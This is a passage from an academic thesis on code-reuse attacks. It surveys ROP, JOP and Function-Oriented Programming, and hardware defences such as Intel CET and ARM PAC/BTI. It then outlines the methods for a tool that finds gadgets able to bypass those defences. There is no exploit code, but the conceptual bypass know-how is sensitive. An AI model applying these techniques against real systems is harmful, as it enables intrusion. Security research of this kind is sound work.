space of old specifications enables backward compatibility (Mujumdar, 2021). If during the 

authentication process, the code does not match, this can result in a signal being sent to the 

Operating System (OS) to cause an exception in the running process (Qualcomm, 2017). 

ARM: PAC Bypasses 

With new implementations of security protocols, there can be a period where the 

protection is not as secure as intended as shown by researchers at Google Project Zero (Jurczyk 

& Glazunov, 2021). The researchers found a vulnerability in an early implementation of Apple’s 

design for PAC. The system would return a valid PAC signature differing by a single bit when 

utilizing the authentication feature on an invalid pointer. The researchers continue to explain that 
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PAC does not fully circumvent the ability to brute force the authentication signature. As the 

uppermost bits of a value represents the authentication signature, there exists the possibility to 

brute force the N bits used for signature storage. As each bit has two possibilities, there are 2N 

possibilities of guessing correctly. 

Another interesting technique shown against an Apple system is the PACMAN attack, 

where speculative execution is used to determine if a brute-forced PAC code is correct 

(Ravichandran et al., 2022). Finding specialized gadgets normally compiled into the kernel 

allowed the researchers to identify valid PAC authenticated values in a matter of three minutes 

for the original version and only eleven seconds for the modified version (Yan, 2022). The 

researchers were able to demonstrate that loading a value in memory and clearing specific CPU 

caches is a dependable way to determine a correct PAC value for the system. 

Intel: Control-Flow Enforcement Technology 

Control-Flow Enforcement Technology (CET) is the implementation by Intel to handle 

control flow within a binary. This implementation includes 2 main features, the Shadow Stack 

and Indirect Branch Targeting (IBT) (Intel, 2022). Similar to ARM, the new instructions needed 

to implement CET functionality have been overlaid within the NOP instruction space to support 

legacy processors (Intel, 2020). 

According to Intel’s specification, the shadow stack is a secondary stack responsible for 

tracking the return address used when a function returns (Intel, 2022). Keeping track of the 

return addresses in two separate stacks allows for the determination of if memory has become 

corrupted. The shadow stack accomplishes this by not tracking parameters or variables put onto 

the stack. Upon a difference in addresses during a return instruction, the CPU will throw an 

exception for the OS to catch. The goal of this implementation is to limit the use of Return-
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Oriented Programming-based attacks, by limiting the ability to return to arbitrary gadgets within 

a binary or library. While this does stop code-reuse attacks that utilize the stack for return-based 

control flow, this method does not limit other code-reuse attacks that circumvent returns. 

Branch Targeting 

In the flow of a complex application, there are many possible branches to take and it 

becomes difficult to track the entire control flow graph of a binary without the source to truly 

determine what path a code branch should take (Goluch, 2021). As a solution to this, Intel and 

ARM have both implemented a Branch Targeting mechanism. Indirect Branch Targeting (IBT) 

is Intel’s implementation while Branch Target Identification (BTI) is ARM’s (Mujumdar, 2021). 

Both IBT and BTI indicate if a given indirect branch instruction, such as a CALL or JMP 

instruction for Intel and BLR or BR instruction for ARM, is accessing a valid target address. To 

accomplish this, the compiler chooses distinct points at compile time. Both ARM and Intel have 

respective unique instructions to accomplish this goal. Placing these instructions at the beginning 

of a function or section of code that can correlate to an indirect jump allows for indirect branches 

to pass successfully. Any indirect jump that occurs check for the occurrence of the unique 

instructions and throw exceptions to the OS similar to the shadow stack and PAC methods 

mentioned earlier. The Branch Targeting protection protects from the other major code-reuse 

methods, such as Jump-Oriented Programming and Call-Oriented Programming, by limiting the 

availability of gadgets accessible through indirect jumping instructions, these attack frameworks 

become virtually impossible to perform. 

Intel: CET Implementation 

With most of the handling and exceptions dealt with at the OS layer, it can be difficult for 

operating systems to fully implement the needed protections for Intel CET (Edgecombe, 2022; 
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Larabel, 2022). There are also concerns regarding the implementation of the indirect branch 

targeting feature. Although new libraries that contain the ENDBR instruction should function 

and remain usable, older libraries that are missing this instruction may generate unexpected 

errors. This would cause issues with having to find alternative methods to allow these libraries to 

continue to run, causing performance setbacks (Edgecombe, 2022). 

With the correct implementation of CET, there is a drastic limit to the number of 

possibilities an adversary can take with a memory corruption vulnerability. With Linux 

developers working on implementing indirect branch targeting in the kernel (Zijlstra, 2022), and 

Windows already rolling out usages of the Shadow Stack in their applications (Lin, 2021; 

Pulapaka, 2020) the adoption of CET is gaining momentum. With early implementations of new 

security features, there seem to be new methods to bypass these protections, as shown by Bing 

Sun et al. (2019) there still exist several methods to bypass the protections put in place by 

Windows with their shadow stack implementation and software-based Control Flow Guard. 

Protections  

NX/DEP 

Taking a step back from newer security protections, it is important to examine older 

protections still in use. No execute (NX) is a system protection commonly used in modern 

systems. Depending on the operating system, this may refer to the data execution prevention 

(DEP) protection as well. During load time, the system typically handles this protection for most 

binaries, and it usually resides in the ELF or PE file headers. Having this security enabled limits 

the ability to have writable and executable memory pages, typically the memory pages related to 

the stack (Alvinashcraft et al., 2022; QuinnRadich, 2021). This protection limits a vulnerability 
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that has execution control from jumping or returning to shellcode placed in memory. Such 

techniques typically target the stack and stem from stack-based buffer overflows. This protection 

is typically enabled by default with most compilers. To bypass this protection adversaries can 

utilize code-reuse attacks such as Return-into-Libc (Nergal, 2001), ROP (Shacham, 2007), or 

JOP (Bletsch et al., 2011; Checkoway et al., 2010). 

ASLR 

Address Space Layout Randomization (ASLR) protects systems by randomly loading 

binaries or memory at random addresses at load time. In modern systems, this protection is 

enabled by default to limit attacks from using gadgets at known addresses (Kaspersky, 2023). To 

fully bypass ASLR, an adversary requires a memory leak from the running program to know 

where the program is in virtual memory. The usefulness of the leak depends on the vulnerability 

present, and the type of memory leak. As there are different memory regions for a single binary, 

a heap or stack leak may not be as useful to an attack as a library leak or the base address of the 

running program.  

There are known techniques to bypass ASLR in systems, since ASLR is the process of 

using a randomized address the ability to brute force the address is a possibility given the right 

environment (hacked0x90, 2016). Another method is to utilize the functions designed to look up 

library functions at runtime, with a Return-into-DL-Resolve attack. Forging specific ELF 

structures and calling intended lookup functionality within a binary makes this attack powerful. 

This allows an adversary to load any function with only a name without needing a leak (Nergal, 

2001). 
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PIE 

Position Independent Execution (PIE) is a small offset of ASLR, where a system that has 

ASLR enabled may still load the memory regions of an executable at a known static address (Ref 

Hat, 2021). This protection helps enable forward compatibility with older binaries that have 

many hard-coded addresses within their source. A flag is set within the ELF headers to determine 

if the binary is loaded at a static address or a random address at load time (Kerrisk, 2022a). 

Return-into-Libc 

GNU C Library (Glibc) is a compilation of libraries utilized by Linux systems. These sets 

of libraries contain the basic application programming interfaces (APIs) used by code running on 

these systems (Kerrisk, 2022b). Glibc contains the individual library Libc as well. The library 

holds common functions that are available for use by all C programs and their loaders, as well as 

several other programming languages. This library also includes an allocator management 

system based on a dl-malloc implementation for basic memory allocations. Other common 

libraries include Libm, for math operations, and Libpthread, a library for thread handling. New 

versions of Glibc are released on a semi-annual basis, in August and February (O’Donell, 2023). 

Return-into-Libc is an attack framework that includes returning to functions found in the 

default Linux Libc library. A memory corruption vulnerability, such as a stack-based buffer 

overflow, can overwrite the return address and forge arguments stored in the stack. This allows 

for the return to flow to the overwritten address and appear as a normal function call (Nergal, 

2001). The attack's simplicity is most evident in 32-bit programs that pass arguments through the 

stack rather than registers. Utilizing a direct Return-into-Libc attack directly in 64-bit systems is 

more challenging since most parameters do not typically pass through the stack.  
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Code-reuse Attacks: ROP 

Having shown that Return-into-Libc was an effective method, it still is limited to the 

functions present in Libc and thus any protections added to those functions, or the entire removal 

of such functions can limit the attack surface (Shacham, 2007). The shift to 64-bit systems has 

changed the way functions are called intrinsically as well: 64-bit systems utilize registers to pass 

parameters instead of relying entirely on the stack (TylerMSFT et al., 2022). This limits the 

effectiveness of complex Return-into-Libc attacks. 

To combat this, Shacham envisioned the use of small sections of code instead of entire 

functions to execute any functionality without having to rely on the entirety of a function as the 

gadget (Shacham, 2007). This is the theory Shacham designed behind Return Oriented 

Programming (ROP), by using a small subset of instructions before a return address it becomes 

possible to alter registers in meaningful manners for an attack. After gaining register control, an 

adversary can invoke a system call or interrupt to complete their attack without utilizing an entire 

function. 

Gadget 

In terms of ROP, a gadget is a small subset of bytes ending in 0xc3 or a RET instruction. 

The remaining bytes of the gadget make up the data flow done to registers or memory available 

to the gadget. As Sacham (2007) put it: 

Intel code is like English written without punctuation or spaces, so that the words 

all run together. The processor knows where to start reading and, continuing 

forward, is able to recover the individual words and make out the sentence. Some 

words will be suffixes of other words, as “dress” is a suffix of “address”; others 
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will consist of the end of one word and the beginning of the next, as “head” can be 

found in “the address”; and so on. 

This analogy is an excellent example of how a gadget can appear. Utilizing bytes from 

unrelated instructions makes it can be possible to form gadgets for useful directives from 

nowhere. These gadgets build heavily on the fact that the Intel language does not have fixed-

length instructions. This can introduce a large possibility that any instruction that houses a 0xc3 

byte could become a gadget. This allows large libraries like Libc to include thousands of gadgets 

within. 

A large component of ROP-based attacks depends on utilizing offsets in instructions to 

find gadgets. Based on this assumption of ROP, it became unknown if ROP would be successful 

in fixed-length instruction architectures, such as ARM and SPARC. Over time it was found that 

it is possible in both ARM (Checkoway et al., 2010) and SPARC (Buchanan et al., 2008) to 

conduct a ROP attack and to manipulate registers in a meaningful manner.  

The utilization of ROP gadgets is one of the most common techniques used with memory 

corruption vulnerabilities. When Shacham wrote his paper demonstrating the capabilities of 

ROP, he demonstrated that given an ample supply of gadgets, the attack can be shown to be 

Turing complete (Shacham, 2007). Shacham demonstrated this by locating gadgets that covered 

five main fields. The first is the ability to Load and Store. This allows gadgets to move values 

between registers and memory and MOV, POP, and LEA are examples of some instructions that 

allow this primitive. Arithmetic operations allow for the ability to reach all values by utilizing 

addition and negation instructions. Logic Operations demonstrated through the use of OR, AND, 

and XOR instructions allow for logic and flag manipulation. Control flow through unconditional 

jumps is as simple as changing the stack frame. Conditional jumps require a bit more work to set 
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up and require moving the value of the flags register around to increase the stack register. 

System calls are accessible in many instances as having control of the registers leads to control 

of the system calls. Lastly, function calls are still of use similar to Return-to-Libc attacks, 

allowing ROP to be Turing complete. 

JOP 

In response to ROP, protections were developed to limit the ability of ROP, such as 

counting the number of instructions between returns or determining the authenticity of a program 

(Chen et al., 2009; Davi et al., 2009). Another theory is to examine the structure of the stack for 

discrepancies in the standard, first-in last-out methods of a stack, similar to a shadow stack 

implementation (Buchanan et al., 2008). While these two methods may limit an attack scope, 

they do not solve the problem, as shown by the paper describing “Return-Oriented Programming 

without Returns” (Checkoway et al., 2010) or commonly known as Jump-Oriented Programming 

(JOP) (Bletsch et al., 2011).  

Similar to ROP, JOP operates with the use of gadgets found within a binary or library. 

Unlike ROP, JOP does not rely inherently on the stack for flow control. Instead, each gadget is 

terminated with a JMP instruction to aid in the flow of the attack (Bletsch et al., 2011; 

Checkoway et al., 2010). Bletsch et. al. (2011) implement their JOP methodology by utilizing a 

single gadget to load the next gadget in the chain. This main processing gadget is the dispatcher 

gadget. From the dispatcher gadget, a data manipulation gadget performs operations and jumps 

back to the dispatcher for the next gadget in the chain. Checkoway et. al. (2010) took a different 

approach and implemented the “Bring Your Own Pop Jump (BYOPJ)” method. This technique 

utilizes POP {reg}; JMP {reg} instructions to conduct their attack. At the time of their 

publications, both papers successfully showed that JOP is Turing complete. 
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Other Code-reuse 

In regards to the simple code-reuse attack Return-into-Libc, Shacham (2007) claimed that 

the nature of the attack leads to a linear nature with little room for improvement in changing 

shape. Shacham continued to claim that limitations may occur with the linear nature of the attack 

occurring from having only an entire function to work with. In counter to this claim, Tran et al. 

demonstrated that by utilizing only entire functions you can get the same functionality that you 

could through ROP gadgets. Through their research, they were able to show that Return-into-

Libc attacks could compete with ROP at a Turing complete level (Tran et al., 2011). 

Over the years, the demonstration of other code-reuse techniques have been successful. 

Pure-Call Oriented Programming (PCOP) (Sadeghi et al., 2018), Counterfeit Object-Oriented 

Programming (COOP) (Schuster et al., 2015), and Data-Oriented Programming (Hu et al., 2016) 

to name a few. Another is a hybrid child of PCOP, JOP, and Return-into-Libc, is Loop-Oriented 

Programming (LOP) (Lan et al., 2015) or also known as Function-Oriented Programming (FOP) 

(Guo et al., 2018). 

FOP 

In 2011, Tran et al. were able to show that chaining functions themselves together is 

possible. Tran et al. demonstrated that Return-into-Libc attacks are Turing complete in an x86 

environment through this approach. Tran et al. performed this process on both Linux and 

Windows x86 systems. The problem with this method is the fact that the stack is overwritten and 

Control Flow Graph (CFG) implementations that detect ROP detects the Return-into-Libc attack 

as well (Chen et al., 2009; Davi et al., 2011; Ozdemir et al., 2021; Xia et al., 2012; Zhang & 

Sekar, 2015). With modifications done to the stack, the attack also falls short of bypassing Intel’s 

(Intel, 2020) and ARM’s (Qualcomm, 2017) security implementations as well.  
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Functional-Oriented Programming is the bastardization of several techniques, the 

dispatcher from JOP, the calling gadgets from PCOP, and entire functions as the gadgets from 

Return-into-Libc attacks all combine to create the FOP technique. In 2015 Lan, et al. and again 

in 2018 Guo, et al. were both able to show that FOP attacks are possible on an x86 Windows 

system and x64 Linux system, respectively. The main goal of FOP is to utilize each function as a 

gadget through the intended/unintended register movements done in a function. Utilizing a 

dispatcher gadget found in their respective target binaries, both Lan et al. and Guo et al. 

successfully implemented FOP to gain further execution on their systems.  

Having a single point to originate the attack from, it becomes easier to track and continue 

from, hence the use of a dispatcher gadget. Using function entries as the beginning of a gadget 

severely limits CFG implementations from tracking the malicious intent of the functions. FOP 

also bypasses both Intel and ARM implementations of branch targeting. To avoid triggering 

suspicious behavior alerts, FOP utilizes indirect branches that resolve to valid addresses. 

Avoiding gadgets that affect the stack allows for only valid-looking function calls and returns to 

be visible to shadow stack implementations. Avoiding the stack also avoids PAC authenticated 

return addresses in ARM systems. As shown by previous research (Guo et al., 2018; Lan et al., 

2015) potential dispatchers exist in several possible locations during runtime, from within the 

binary to the libraries loaded such as Libc. 

Chapter Summary 

Even with protections such as DEP/NX, ASLR, and PIE, it has been shown that several 

attack types are still possible, Return-into-Libc, ROP, and JOP have all been shown to not only 

bypass these protections but to also be Turing complete in the process (Bletsch et al., 2011; 

Shacham, 2007; Tran et al., 2011). New CPU-based protections have emerged to combat the 
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growing range of attacks resulting from these methods. With the recent implementations of 

securing hardware, there comes a limit to what is possible with these common attack methods. 

Implementations of Intel’s CET and ARM’s PAC continue to shrink the ability for an adversary 

to take a memory corruption from something more than a DOS to a full working exploit. 

With these protections, one can find that there still seem to be aspects missing to better 

protect the system. The gap left by Intel and ARM’s protections gives FOP the ability to 

continue to work in modern systems. FOP may not only be able to bypass modern protections, 

but it can also show gaps in security at the same time. Addressing these gaps with potential 

solutions allows for future ways to prevent serious attacks from occurring. 
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CHAPTER 3 

RESEARCH METHODS 

Chapter 2 presented an overview of the history of code-reuse attacks and the various 

CPU-based security protections developed to counteract them. This led to the analysis of FOP, a 

technique that can bypass these protections along with the previous work done to display the 

technique. Chapter 3 will discuss the research methods and design used in this research. This 

chapter will describe how this research approaches the guidelines to design science. Furthermore, 

this chapter will analyze the objectives, assumptions and limitations, the data collected through 

this research, and its validity. This chapter will build on the previous description of the purpose 

of this research mentioned in Chapter 1. The first purpose is the examination of the capabilities 

of the FOP technique in modern ARM and Intel systems. The second purpose of creating the 

FOP Mythoclast is to facilitate the process of the first purpose. This tooling is one of the main 

artifacts of this research. This artifact demonstrates the capabilities of primarily locating FOP 

gadgets between architectures. To further this, test environments allow for these gadgets to 

demonstrate the capabilities of FOP. This demonstration indicates that FOP-based attacks can be 

efficient in place of other code-reuse attacks hindered by modern CPU-based protections.  

Hypothesis 

The main hypothesis of this research is that FOP can operate in an environment with 

modern CPU-based protections on both ARM and Intel. This exhibits FOP as a valid and useful 

approach for the replacement of ROP and other code-reuse attacks in environments with recent 
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CPU-based protections. This hypothesis defines the basis of the main research and the 

approaches taken to prove the statement.  

Research Approach 

This research is utilizing the design science approach to describe the output created in the 

process. In this case, this output is an artifact of use to locate FOP gadgets. This approach is 

adhering to the design science definition and methodology defined by Hevner et al (2004). This 

basis of design follows closely to cover all the requirements of Hevner et al, concerning the 

design research approach. The basis of design science research (DSR), as defined by Hevner et 

al, includes seven guidelines. This chapter will discuss and expand upon the seven guidelines 

further. 

Hevner et al (2004) define design science as the process of designing and developing 

artifacts to solve identified problems. The identified problem in this research is the overall 

utilization of FOP in systems with modern CPU-based protections to limit code-reuse attacks. 

This becomes detrimental in the solutions provided by ARM and Intel to demonstrate that the 

design taken does not solve all states of code reuse. As an outcome to facilitate this attack 

framework, the design and development of an artifact provides the capabilities to create such 

attacks. This tool streamlines the approaches taken when designing FOP attacks, as the 

complexity of manually discovering FOP gadgets can inadvertently have side effects on a system 

and attack. This artifact generation allows for a streamlined approach to solving the identified 

problem. 

DSR is a rigorous approach that emphasizes the development and evaluation of artifacts 

to solve practical problems. In this research, the developed artifact addresses the research 

question. This research rigorously tests the artifact against several criteria, including research 
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evaluation, contribution, and rigor. The DSR guidelines ensure that the artifact meets the highest 

standards of quality and usefulness in the context of the problem. Adhering to the DSR process, 

the artifact development and evaluation happen iteratively. This allows for feedback from users 

to refine the solution. The outcome is a practical and valuable artifact that contributes to 

knowledge and provides insights into the design process itself (Hevner et al., 2004). The 

following sections will address these points. 

Design as an Artifact 

The first guideline as defined by Hevner et al. (2004) is the process of creating a useful 

artifact designed to address a problem. For this research, this artifact is a tooling program to 

facilitate the use of FOP-based attacks by locating FOP gadgets and generating a list of practical 

gadgets for the end user. This process takes a symbolic execution approach, utilizing this 

methodology allows for a systematic analysis of functions and instructions to not only follow 

control flow, but to also determine instance-specific modifications to registers, memory, and the 

system. This tooling design also allows for the ability to locate other sufficient helper gadgets. In 

practice these gadgets are known as dispatcher gadgets, their premise is the beginning and 

operational control of a FOP attack.  

This description of the artifact covers the second aspect of artifact design. As Hevner et 

al. describe, “artifacts must be described effectively, enabling its implementation and application 

in an appropriate domain” (Hevner et al., 2004). Defining how the process of the artifact works 

describes effectively how the artifact covers the implementation for its specified domain. 
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Problem Relevance 

The second guideline by Hevner et al. is the problem relevance or the importance of the 

problem (2004). The relevance of this research and the artifact created is in direct relation to the 

relevance of code-reuse attacks. As there was a priority to implement strategies to combat code-

reuse attacks at the hardware level, it demonstrates the overall importance that code-reuse attacks 

have on the security industry. Examining whether FOP can thrive in a space where other code-

reuse techniques are limited gives insight into the significance of FOP. This further extends into 

the purpose of the artifact to aid in the identification of FOP gadgets. 

Design Evaluation 

The third guideline is the evaluation of the design, with the basis of the designed artifact 

being examined through well-executed evaluation methods (Hevner et al., 2004). This research 

uses the structural white box approach to evaluate the created artifact. This approach is defined 

as testing through the use of coverage tests with metrics concerning the artifacts implementation 

(Hevner et al., 2004). This approach covers the artifact nicely as several edge cases can occur 

during the symbolic execution process. Examples such as infinite loops, unhandled exceptions, 

and branch explosions are a few examples. 

This type of evaluation goes hand in hand with the description given by Wieringa for 

single-case mechanism experiments as well (Wierenga, 2014). Wieringa describes single-case 

mechanism experiments as the interaction between the input elements and the artifacts output. 

This allows for the usage of single-use test cases to examine a specific problem or solution. 

Determining a reachable path of operation for the artifact with a single test case supplements 

further tests and issues that could arise. As the process of locating FOP gadgets is based on the 
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grounds of utilizing entire functions as gadgets, individual functions function as single-use test 

cases to evaluate the artifact.  

This evaluation expands the correctness and accuracy of the recommended FOP gadgets. 

Numerous instructions define the underlying nature of FOP gadgets. A basis on the accuracy of 

the gadgets can shed light on the usefulness of locating gadgets such gadgets in the first place. 

The overall accuracy of the gadget can be determined through static and dynamic analysis. For 

the first stage, the use of reversing tools allows for a basic understanding of a gadget. This is the 

determination of the overall structure of the gadget. As gadgets can contain many branching 

conditions and criteria this static analysis allows for a basic understanding of the path a gadget 

took to get to the prescribed outcome. As mentioned, a gadget could hold several branching 

conditions that can be hard to determine in a static context, this is where a dynamic approach 

permits more examination capabilities. To be in line with the identification of the gadget 

between the tooling and dynamic testing, the initialization of similar runtime states instantiates 

the path to evaluate the correctness of the defined gadget. Utilizing similar instances between 

gadget discovery and the dynamic environment eases this testing process. 

 To implement the process of finding and using gadgets in various environments, the start 

of gadgets need to be based on the BTI and IBT protections from ARM and Intel, respectively. 

The accuracy of this is important as gadgets do not work if they violate this protection. The 

testing for and determination of this is simplistic in nature. Defining a starting point instruction 

for each gadget accomplishes this task. As each protection expects a specific instruction this 

evaluation can be determined statically using reversing tools or by the examination of the bytes 

of the instruction for an exact match. 
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 These evaluations should show that the process for the artifact design and testing is well 

within the bounds of DSR and have useful outputs from the design. 

Research Contributions 

Guideline 4 states that the research done must contribute to the field in question and must 

adhere to one or more of the following fields, the design artifact, the foundations of the research, 

and the methodologies (Hevner et al., 2004). The design artifact approach is the main focus of 

this research, but this research covers the foundations field as well.  

First, the artifact is a novel tool for determining FOP gadgets within binaries without 

source code through the use of symbolic execution. This tooling is the first of its kind for 

locating FOP gadgets from a symbolic analysis standpoint, as previous work has relied on 

compile-time applications (Guo et al., 2018) and static analysis (Lan et al., 2015) to identify 

gadgets. The design to avoid compile time constraints allows for the application of FOP to work 

on targets that do not provide their source code to the end user. The second design approach to 

strictly avoid the static analysis approach allows for more operability in locating complex 

gadgets. The design of this artifact affects the quality of gadgets found and demonstrates the 

uniqueness of the design. 

The second approach is for the foundations of the design. While previous work (Guo et 

al., 2018; Lan et al., 2015) has shown that FOP can function as a code-reuse attack platform. 

Their premise was just that, the topic of showing the technique without any cause, this research 

is to show the relation and importance of FOP within modern environments with CPU-based 

protections designed to limit code-reuse attacks at the hardware level. Adding this second degree 

of importance to the research demonstrates the importance of the technique and this research.  
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While the last paragraph described ways that this research expands on previous work to 

demonstrate the foundations of the design, this paragraph will describe two new impacts less 

built on the previous work. The first is the implementation of FOP within the ARM architecture. 

As of the time of this writing, no previous research has identified the possibility of FOP within 

ARM environments. This research is the first to show the technique has operability in an 

architecture other than an Intel-based one. The second foundation is the approach of the attack 

goal of utilizing FOP within simplistic Linux environments. Limiting the approach to finding and 

using gadgets solely from Libc and its loader increases the uniqueness and scale of the attack 

framework. As the limitations from previous studies demonstrate simple use cases and relying on 

gadgets from specific applications (Guo et al., 2018; Lan et al., 2015), this research expands the 

attack framework to most Linux applications that contain memory corruption vulnerabilities. 

This enables FOP to be more akin to other code-reuse attacks such as ROP and JOP.  

By defining this research under two separate fields of the DSR research contributions, 

this research sufficiently shows that the research expands and offers clear contributions to the 

research areas.  

Research Rigor 

Research rigor is the fifth guideline. The definition of rigor contains a few different 

approaches. As Hevner et al. state, DSR rigor can be assessed through the applicability and 

generalizability of the artifact (Hevner et al., 2004). In this scope, the artifact of this research 

achieves this standing through its design and implementation. The artifact’s main design is on 

the approach of finding FOP gadgets within a binary without source code. This application 

applies to the artifact as it is able to locate gadgets in multiple architectures and work for more 

than one particular use case.  
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Further analysis of rigor can be analyzed through the use of performance metrics of the 

artifact (Hevner et al., 2004). The premise of the artifact is the identification and display of FOP 

gadgets, a goal of this design is the comparable nature to other code-reuse techniques such as 

ROP and JOP. This comparison is both in the nature of their attacks, but also in the speed of 

attack design. A large aspect of this is the ability of the tool to quickly identify useful gadgets for 

the user. Adhering to this mentality and previous claims for the artifact can surmise that the 

artifact of this research passes this design of rigor in similar nature to other tools. 

The last fact of rigor is the fact that designed artifacts are often tools for human-to-

machine problem-solving situations (Hevner et al., 2004). As the main solution for a human 

utilizing the artifact of this research is the determination of FOP gadgets, the design and 

implementation of the tool to locate such gadgets qualifies the artifact as passing this standard. 

Thus, showing the stature of the research rigor for this research and artifact. 

Design as a Search Process 

The process for design as a search process is described as the utilization of means to 

design an artifact that reaches desired ends (Hevner et al., 2004). This process is commonly 

iterative as the design and solution can expand to further encapsulate a final solution. From the 

previous sections of DSR guidelines, this research already meets these means of satisfaction 

under the premise that the design of the artifact incorporates this iterative design to further 

implement a sound understanding of the desired output. 

Communication of Research 

The final guideline is the process of communicating the results of the research. This is 

typically in the form of being able to be understandable for both the technical audience and the 
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non-technical audience (Hevner et al., 2004). While the intended final design is not for a typical 

person, it is usable by an audience with little understanding of how the artifact truly works at a 

low level. This is possible from a design for user-friendly capabilities and simplistic usage.  

As for the research itself outside of the artifact, the demonstration and analysis is in a 

form of understanding that people with little knowledge in the field should be able to understand. 

This approach is to satisfy this last point of contention within the DSR guidelines. 

Objectives of the Study 

With the DSR guidelines fully established, the next goal is to further describe the 

objectives of this research. The main objectives of the research are below: 

I. Demonstrate the use of FOP in ARM and Intel environments to bypass modern 

CPU protections. 

II. Demonstrate the use of FOP within a scalable Linux environment. 

III. Demonstrate the capability of FOP in a meaningful real-world context. 

These points are the main premise of the research and define the goals present for 

building FOP into a meaningful framework. The first goal solidifies the applicable use of FOP in 

contexts that limit other code-reuse attacks. This research accomplishes this first goal by 

demonstrating the initial use cases in simplistic Linux environments with toy binaries. These toy 

binaries are applications designed to be vulnerable. In this case, the vulnerability in question 

leads to memory corruption, in most cases such vulnerabilities lead to the execution of other 

code-reuse attacks. As the CPU protection limits these other code-reuse attacks in this 

environment, there is no way to execute them. This demonstration shows that FOP is still 

capable while the CPU-based protections limit other code-reuse attacks within the same context. 
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The second point is the application of FOP within a scalable Linux environment. This 

research defines a scalable environment as utilizing FOP with a subset of gadgets that can be 

located in both larger and smaller-scale systems. To accomplish this primary analysis, the main 

target of this research is the Libc and its loader as the main propagator for FOP gadgets. Locating 

gadgets only from this library allows for this technique to scale to other Linux environments. 

This approach does not rely on single-use cases or depend on one-chance gadgets found within a 

binary.  

The last approach is to utilize FOP in a meaningful real-world context. After 

demonstrating that FOP functions in most user-space applications, the next stage is to go forward 

with the next intact cross-Linux instance. This would be the Linux kernel itself. Demonstrating 

the functionality of FOP within such a complex context grows the applicability of FOP in a 

large-scale instance and the potential impact of the technique. 

Objective of the Artifact 

With the overall research objective defined, an analysis of the objectives of the artifact is 

next. These are: 

I. Location of FOP gadgets through symbolic execution on multiple architectures 

II. Location of a FOP dispatcher through static and symbolic execution 

III. Elimination of non-useful gadgets 

IV. Capability for a user to limit the scope of gadgets. 

These goals are the overlying objective of the final artifact. The previous sections 

covered the first goal as the main premise of the artifact. The location of FOP gadgets 

streamlines the approach and utilization of FOP in a meaningful context without the necessity of 

time consumption to locate gadgets without it. The targets for locating gadgets on multiple 
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architectures are ARM and Intel as those are the two architectures defined with recent CPU-

based protections to limit code-reuse attacks. 

The use of static analysis to locate dispatcher gadgets is not a new technique (Guo et al., 

2018; Lan et al., 2015), but the incorporation of symbolic execution to determine the usefulness 

of a potential dispatcher is a new addition that has not been done before. The approach taken for 

the initial algorithm can create false positives that result from a static analysis approach. The 

approach of using symbolic execution not only takes the best aspects from previous studies but 

also expands on them to determine the final effectiveness of potential gadgets.  

Combining the last two goals allows for the ability to categorize them in a gadget-

reduction sense. As every gadget is not always useful, there are reasons to not display all of the 

available gadgets within a context. To expand this further, the ability to limit gadgets by certain 

capabilities or restrictions from user interaction is useful. To achieve this, the tooling allows for 

the capabilities between user interaction and gadget discovery to limit upon different criteria. 

This functionality demonstrates the final objectives set for the artifact of this research. 

Assumptions and Limitations 

A large aspect of research is the process to expand the current field of knowledge and 

capabilities. As Hevner et al. (2004) described the use of the artifact to expand upon previous 

research methodologies, foundations, and previous artifacts. The process to do so involves 

assumptions that equate to sound judgment and lower the number of variables. The first 

assumption acts during the testing of FOP within ARM and Intel environments. The design of 

the toy binaries introduces a scenario where a vulnerability exists. On top of this, the test case 

includes a method to leak the memory address of the library. The PoC uses this as a method to 

bypass the ASLR of the binary. This research utilizes this leak. The main premise of this 
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research is not about the aspect of bypassing ASLR, but it is about identifying and demonstrating 

the impact of FOP within the environment. 

The other focus to identify is the potential limitations of the research and how to address 

them. In the case of this research, the main limitations are based on the security protections from 

ARM and Intel. Starting with Intel CET, as mentioned in Chapter 2, is in an incomplete state 

within the Linux ecosystem. This affects the true implementation testing of FOP within an 

environment. To deal with this, the attack framework utilizes sufficient restrictions. To adhere to 

the shadow stack protection, gadgets need to avoid the modifying stack as much as possible and 

they cannot impact the stack in a significant manner. As the shadow stack protection affects the 

use of return instructions, the utilization of function calls as the primary method for starting a 

gadget handles this functionality normally. To deal with IBT, the FOP attack only uses gadgets 

that begin with the specialized instruction relating to IBT, ENDBR. This method allows for this 

research to stay in line with the protections of CET while not having a full testing environment to 

conduct testing in. 

The second set of limitations regards the ARM subset of protections, PAC and BTI. 

While the Linux environment capabilities should support ARM-based security protections 

(Brown, 2020; Rutland, 2017), the use of CPUs that support this standard is limited in nature. As 

such, an environment for this research is set up using the emulator tool QEMU, in the process, 

not all protections are available. In use, QEMU has support for PAC but does not have full BTI 

support. As such, using similar restrictions to Intel offers a solution. Limiting the use of gadgets 

to those beginning with the specified BTI instruction enforces true adherence to the security 

protections. These are the main limitations and constraints used during the use of this research. 
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Data Collection 

In the process of this research, the main data collected by the artifact are the FOP gadgets 

themselves. This collection will gather the subsequent information about each gadget: 

I. Address 

II. Register Results 

III. Memory Read Constraints 

IV. Memory Write Constraints 

V. Jump Constraints 

VI. Syscall Constraints 

By utilizing this information, this research can make categorical approximations and 

evaluate the usefulness of gadgets. Furthering this approach allows for the ability to refine 

gadgets with restrictions. Recovering this information allows a user to understand the true 

outcome that a gadget results in. The full scope of this collection originates from the aspect of 

the symbolic nature of gadget identification. The systematic identification of key points allows 

for the verification of interactions between registers and memory.  

The address is self-evident as it is the information for where in virtual memory the gadget 

would be located. The register results define a section of data determining the output into 

registers after processing a gadget. This would be the main aspect to identify when determining 

the use of a gadget, as the transfer of information to and from registers through unintended 

means is the main aspect of FOP. The memory read and write constraints take two aspects to 

identify potential caveats needed to consider with regards to gadget potential. This comes down 

to the ability of a gadget to pass without an access violation occurring due to out-of-bounds 

memory accesses. The jump constraints define the aspects of branches and comparisons that 
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occur within potential gadgets. As many functions have some sort of error-checking mechanism 

enabled, utilizing such functions as gadgets requires the identification of the constraints to allow 

the gadget to succeed. Lastly is the use of syscall constraints, as the design of certain functions is 

around the use of syscalls to handle operations on a system. It becomes apparent to identify 

which gadgets may have larger impacts on values, registers, and memory. These points 

encompass the main identification of the data collection done in this research. 

Validity and Reliability 

The process of validity and reliability of the artifact is next. As mentioned earlier in the 

DSR guidelines, the process to identify the validity of the FOP gadgets from the artifact is 

determined in a two-step process. The first includes the use of static reversing tools and 

techniques to get a basis for the outline of a gadget. In cases where the gadget is simplistic and 

consists of a few instructions, static analysis can prove to be the only method needed to validate 

a gadget. The second method is to utilize dynamic approaches of showing the reliability of a 

gadget. To accomplish this, the utilization of an environment consistent with the artifacts allows 

